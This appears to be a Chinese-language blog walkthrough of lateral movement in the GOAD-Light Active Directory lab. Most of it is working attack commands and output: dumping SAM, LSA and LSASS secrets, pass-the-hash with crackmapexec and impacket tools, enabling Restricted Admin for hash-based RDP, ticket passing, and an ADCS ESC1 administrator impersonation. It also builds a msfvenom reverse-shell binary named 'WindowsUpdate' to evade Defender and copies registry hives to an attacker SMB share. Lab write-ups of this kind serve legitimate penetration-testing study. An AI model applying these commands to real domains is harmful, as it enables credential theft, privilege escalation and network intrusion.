GOAD-Light-Part8-横向移动

GOAD-Light_schema

提取凭据

secretsdump

1
impacket-secretsdump NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[*] Target system bootKey: 0x8365b0199c7e93bb5df067d35863c50d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2026-01-26 07:23:00+00:00)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2026-01-26 07:26:29+00:00)
NORTH.SEVENKINGDOMS.LOCAL/brandon.stark:$DCC2$10240#brandon.stark#b30d190fbc6e7635c97ca6b7c276a177: (2026-01-25 07:32:29+00:00)
NORTH.SEVENKINGDOMS.LOCAL/vagrant:$DCC2$10240#vagrant#a14c16d521e2f5773307299239284ce2: (2026-01-25 07:33:25+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:35ba116a62a152575f7b11fe76a35f83226006386d4694e905473837996b7b1a
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:cfd580cffd8942f3ee3c8fdfe2fb0edb
NORTH\CASTELBLACK$:des-cbc-md5:76fd07a208b9454a
NORTH\CASTELBLACK$:plain_password_hex:6f005e005e0032003800340065005d004b002d004b004800290021005b002b0058004400390023005c0058002c0072003d00200045002a00340060006c00700078007700430026004100270038002c0023004e005300740027004700490046002d003f00230059005300480038003b003e0051002f003d00360022005c0021004000610024005a00700067004b002c00410079004a00770057005c00480048006e0021006a003c0035004a00630022002c0045006b00240054004700440051004e004500650039003500280079006300360044005f002e0050006f005600600052002400260021004a004e0066005100
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x7d5b057f8d176eb1570993bb919ebc56f4900403
dpapi_userkey:0x8d33a963fde82ab56a5d09441f27be9876ebaf97
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...

SAM

首先使用 secretdump 获取 SAM 哈希值:

1
2
3
4
5
6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
  • 安全帐户管理器 (SAM) 是运行 Windows 操作系统的计算机上存在的数据库,用于存储本地计算机上用户的用户帐户和安全描述符。
  • SAM 数据库位于:C:\Windows\System32\config\SAM,并已挂载到注册表的 HKLM/SAM 项。
  • 要解密数据,您需要位于 C:\Windows\System32\config\SYSTEM 的系统文件的内容,该文件在注册表 HKLM/SYSTEM 中可用。
  • SecretDump 获取 HKLM/SAM 和 HKLM/SYSTEM 的内容并对其进行解密。

导出

使用secretsdump.py直接查看,或者使用下面的方式保存

1
2
3
smbserver.py -smb2support share .  # start a server to get the result
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'

或者直接在 Windows 系统界面上

1
2
reg save HKLM\SAM c:\sam
reg save HKLM\SYSTEM c:\system

使用secretsdump解密sam文件

1
secretsdump -sam SAM.save -system SYSTEM.save LOCAL

我们的结果如下

1
2
3
4
5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
user: Administrator
RID : 500
LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty)
NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)

密码复用

  • 在渗透测试中,当你攻破了活动目录系统上的第一个目标后,你应该始终检查所有服务器上的本地帐户是否相同。
  • 几乎所有安全意识不成熟的客户都会使用相同的镜像来构建所有服务器。这样做也会导致管理员账户和密码的复制。
  • 这样做会导致网络中到处重复使用密码(如果想避免这种情况,应该使用 laps)。
  • 利用 CrackMapExec 在整个网络中使用哈希传递 (PTH) 攻击来滥用密码重用的最佳方法之一。
1
crackmapexec smb 192.168.56.10-22 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth

image-20260126155051008

由此可见,castelblack 服务器与其他服务器之间不存在密码重用情况。

但是,当一台计算机被提升为域控制器时,本地管理员密码就会被用作域管理员密码,因此我们可以进行的一项测试是尝试在本地管理员帐户和域控制器管理员帐户之间重用密码。

1
smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'

image-20260126155400460

从 castelblack 的 sam 数据库中提取的本地管理员密码 NT 哈希与 north.sevenkingdoms.local 管理员 NT 哈希相同。

通过castelblack和winterfell之间密码的重复使用,我们获得了north.sevenkingdoms.local 的域管理员权限。

1
2
3
4
5
LM/NT/NTLM/NetNTLMv1/NetNTLMv2 有什么区别?
LM:从 Windows Vista/Server 2008 开始,旧格式默认关闭
NT(又名 NTLM):位置 SAM 和 NTDS:用于哈希传递(我仍然经常使用通用术语 ntlm 来指代它)
NTLMv1(又称 NetNTLMv1):用于客户端和服务器之间的质询/响应 -> 可能被破解或用于中继 NTLM 身份验证。
NTLMv2(又称 NetNTLMv2):与 NetNTLMv1 相同,但有所改进且更难破解 -> 可能被破解或用于中继 NTLM 数据包

LSA

Local Security Authority 本地安全机构

缓存凭据机制

当一台 Windows 计算机加入域后:

  1. 用户使用域账户登录(如 NORTH\jeor.mormont
  2. 系统会联系域控制器(DC)进行身份验证
  3. 同时,系统会将验证信息缓存在本地
  4. 当域控制器不可用时(网络断开、DC宕机),用户仍可用缓存的凭据登录

存储位置

1
2
3
C:\Windows\System32\config\
├── SECURITY # 包含缓存的凭据(注册表:HKLM\SECURITY)
└── SYSTEM # 包含解密所需密钥(注册表:HKLM\SYSTEM)

获取

kali启动smb服务器

1
impacket-smbserver -smb2support share /share -ip 192.168.56.107

导出注册表

1
2
3
4
5
6
7
8
9
10
impacket-reg NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.107\share'
impacket-reg NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.107\share'

但我这用reg显示权限不足,所以使用evil-winrm
evil-winrm -i 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_'
reg save HKLM\SYSTEM C:\Users\jeor.mormont\Documents\system.save
reg save HKLM\SECURITY C:\Users\jeor.mormont\Documents\security.save

download security.save
download system.save

image-20260126161837336离线提取内容

1
impacket-secretsdump -security security.save -system system.save LOCAL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿kali)-[/home/kali/GOAD/Lateral_move]                                                                                                                                            
└─# impacket-secretsdump -security security.save -system system.save LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x8365b0199c7e93bb5df067d35863c50d
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2026-01-26 07:23:00+00:00)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2026-01-26 07:26:29+00:00)
NORTH.SEVENKINGDOMS.LOCAL/brandon.stark:$DCC2$10240#brandon.stark#b30d190fbc6e7635c97ca6b7c276a177: (2026-01-25 07:32:29+00:00)
NORTH.SEVENKINGDOMS.LOCAL/vagrant:$DCC2$10240#vagrant#a14c16d521e2f5773307299239284ce2: (2026-01-25 07:33:25+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:6f005e005e0032003800340065005d004b002d004b004800290021005b002b0058004400390023005c0058002c0072003d00200045002a00340060006c00700078007700430026004100270038
002c0023004e005300740027004700490046002d003f00230059005300480038003b003e0051002f003d00360022005c0021004000610024005a00700067004b002c00410079004a00770057005c00480048006e0021006a003c003500
4a00630022002c0045006b00240054004700440051004e004500650039003500280079006300360044005f002e0050006f005600600052002400260021004a004e0066005100
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd
[*] DPAPI_SYSTEM
dpapi_machinekey:0x7d5b057f8d176eb1570993bb919ebc56f4900403
dpapi_userkey:0x8d33a963fde82ab56a5d09441f27be9876ebaf97
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] _SC_MSSQL$SQLEXPRESS
(Unknown User):YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...

我们得到了很多信息

  • 缓存的域凭据

    NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405

    • 我们得到了 DCC2(域缓存凭据版本 2),哈希值(hashcat 模式 2100)
    • 这个哈希值不能用于PTH,必须破解。
    • 这种哈希算法非常强大,破解难度也很大,所以除非密码非常弱,否则破解它需要很长时间。
  • 机器帐户

    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd

    • 机器帐户是域上的有效帐户
    • 机器帐户(此处castelblack$)加上我们刚刚检索到的哈希 NT 可用于查询 LDAP(机器账户默认拥有读取域信息的权限)。
  • 服务帐户凭据

    _SC_MSSQL$SQLEXPRESS::YouWillNotKerboroast1ngMeeeeee

LSA横向

  • 为了使用LSA密钥进行横向移动,我们可以:

    • 破解 DCC2 哈希值以获取域名帐户
    • 使用机器帐户查询 LDAP,并找到利用 ACL 漏洞进行攻击的方法(就像使用用户帐户一样)。
    • 使用我们刚刚检索到的服务帐户存储凭据。

    ldap查询

    1
    2
    3
    4
    5
    6
    crackmapexec ldap 192.168.56.11 \
    -u CASTELBLACK$ \
    -H 933458ca9304a206f35e0c27396307dd \
    -d NORTH \
    --kdcHost 192.168.56.11 \
    -M get-desc-users

    image-20260126163541817

  • 机器帐户启动 bloudhound.py检索域信息

    1
    2
    3
    4
    5
    6
    crackmapexec smb 192.168.56.11 \
    -u CASTELBLACK$ \
    -H 933458ca9304a206f35e0c27396307dd \
    -d NORTH \
    -M bloodhound \
    -o COLLECTION_METHOD=All,OUTPUT_DIR=/tmp/bh_data

LSASS

Local Security Authority Subsystem Service 本地安全认证子系统服务进程

存储内存中的运行时凭据(登录会话的明文密码、票据、哈希),重启消失

获取

工具

https://github.com/login-securite/lsassy

1
2
导出 LSASS 进程几乎总是会触发目标计算机的杀毒软件警报。
因此需要使用免杀技术才能导出 lsass.exe 进程。
1
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p '_L0ngCl@w_' 192.168.56.22 -m comsvcs -v

image-20260126172715624

然后,我们从 Lsass 进程中找出域的 NTLM 哈希值和 TGT。

测试

使用一个特权用户发起了与castelblack的连接。

1
xfreerdp3 /d:north.sevenkingdoms.local /u:catelyn.stark /p:robbsansabradonaryarickon /v:castelblack.north.sevenkingdoms.local /cert:ignore

重新转储

image-20260126173406043

存在新的信息

LSASS横向

PsExec

  • 上传可执行文件
  • 创建一个服务来运行可执行文件
  • 使用命名管道与服务进行通信。
  • 协议:SMB
1
python psexec.py -hashes :cba36eccfd9d949c73bc73715364aff5 NORTH/catelyn.stark@192.168.56.11

PsExec 会被 Defender 直接标记,并且不能再与嵌入 impacket 的 RemCom 服务二进制文件一起使用,否则会引发警报并导致失败。

Impacket 提供了一个选项,允许使用 -file 选项更改 psexec 使用的服务。

通过创建自定义的psexec服务,可以绕过Defender防病毒软件并获得shell权限。

1
2
3
4
5
6
7
8
9
# 创建一个简单的恶意服务二进制
# 使用 msfvenom 生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.107 LPORT=4444 -f exe -o custom_service.exe

# 然后使用 -file 选项
python psexec.py -hashes :cba36eccfd9d949c73bc73715364aff5 \
NORTH/catelyn.stark@192.168.56.11 \
-file custom_service.exe \
-service-name "WindowsUpdate"

WmiExec

  • 通过 WMI 创建新流程
  • 创建文件以获取命令结果,使用 SMB 读取该文件并将其删除。
  • 协议:DCERPC + SMB
1
impacket-wmiexec -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11

SmbExec

  • 不会上传可执行文件
  • 每次请求都创建一个服务
  • 获取攻击者控制的共享文件夹或服务器上的命令结果(使用 -mode SERVER 参数)。
  • 协议 SMB
1
impacket-smbexec -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11

AtExec

  • 使用计划任务运行该命令
  • SMB协议
1
impacket-atexec -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11 whoami

DcomExec

  • 伪 shell(通过 SMB 协议获取文件中的结果)
  • DCERPC + SMB 协议
1
impacket-dcomexec -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11

CME

1
crackmapexec smb 192.168.56.11 -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
  • 默认情况下,cme 只检查 smb admin$ 是否可写。如果可写,cme 显示“pwned”。
  • 执行 cme 时请使用 -x 选项,默认情况下使用 wmiexec impacket 方法。

winrm

  • 协议 HTTP 或 HTTPS
1
evil-winrm -i 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'

RDP

1
xfreerdp3 /d:north.sevenkingdoms.local /u:catelyn.stark /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11

image-20260126175626136

但会被限制,不允许无密码登入

要允许无需密码的远程桌面连接,必须启用受限管理员权限。

1
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

在kali上操作

1
impacket-reg NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' 

image-20260126175942264

  1. DisableRestrictedAdmin 不存在 - 这意味着默认设置是禁用的
  2. NoLmHash 值为 1 - 表示不存储 LM 哈希(安全设置)
  3. disabledomaincreds 值为 0 - 允许使用域凭据

直接添加

1
impacket-reg NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'

image-20260126180044619

成功登录
image-20260126180113438

完成后,删除创建的注册表项。

1
impacket-reg NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'

TGT

NT -> TGT -> 身份验证

1
impacket-getTGT -hashes ':cba36eccfd9d949c73bc73715364aff5' north.sevenkingdoms.local/catelyn.stark

票据传递

1
2
export KRB5CCNAME=catelyn.stark.ccache
impacket-wmiexec -k -no-pass north.sevenkingdoms.local/catelyn.stark@winterfell

还可以使用 lsassy 导出的票据,然后使用 impacket-ticketConverter

1
ticketConverter.py kirbi_ticket.kirbi ccache_ticket.ccache

证书

证书 -> NTLM 或 TGT

请求证书

1
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local

使用 certipy,请求用户的 NTLM 哈希值以及 TGT。

1
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

参考链接

impacket

https://www.synacktiv.com/publications/traces-of-windows-remote-command-execution.html

https://neil-fox.github.io/Impacket-usage-&-detection/

tips

https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets

https://www.thehacker.recipes/


GOAD-Light-Part8-横向移动
http://xiaowu5.cn/2026/01/26/GOAD-Light-Part8-横向移动/
作者
5
发布于
2026年1月26日
许可协议
BY XIAOWU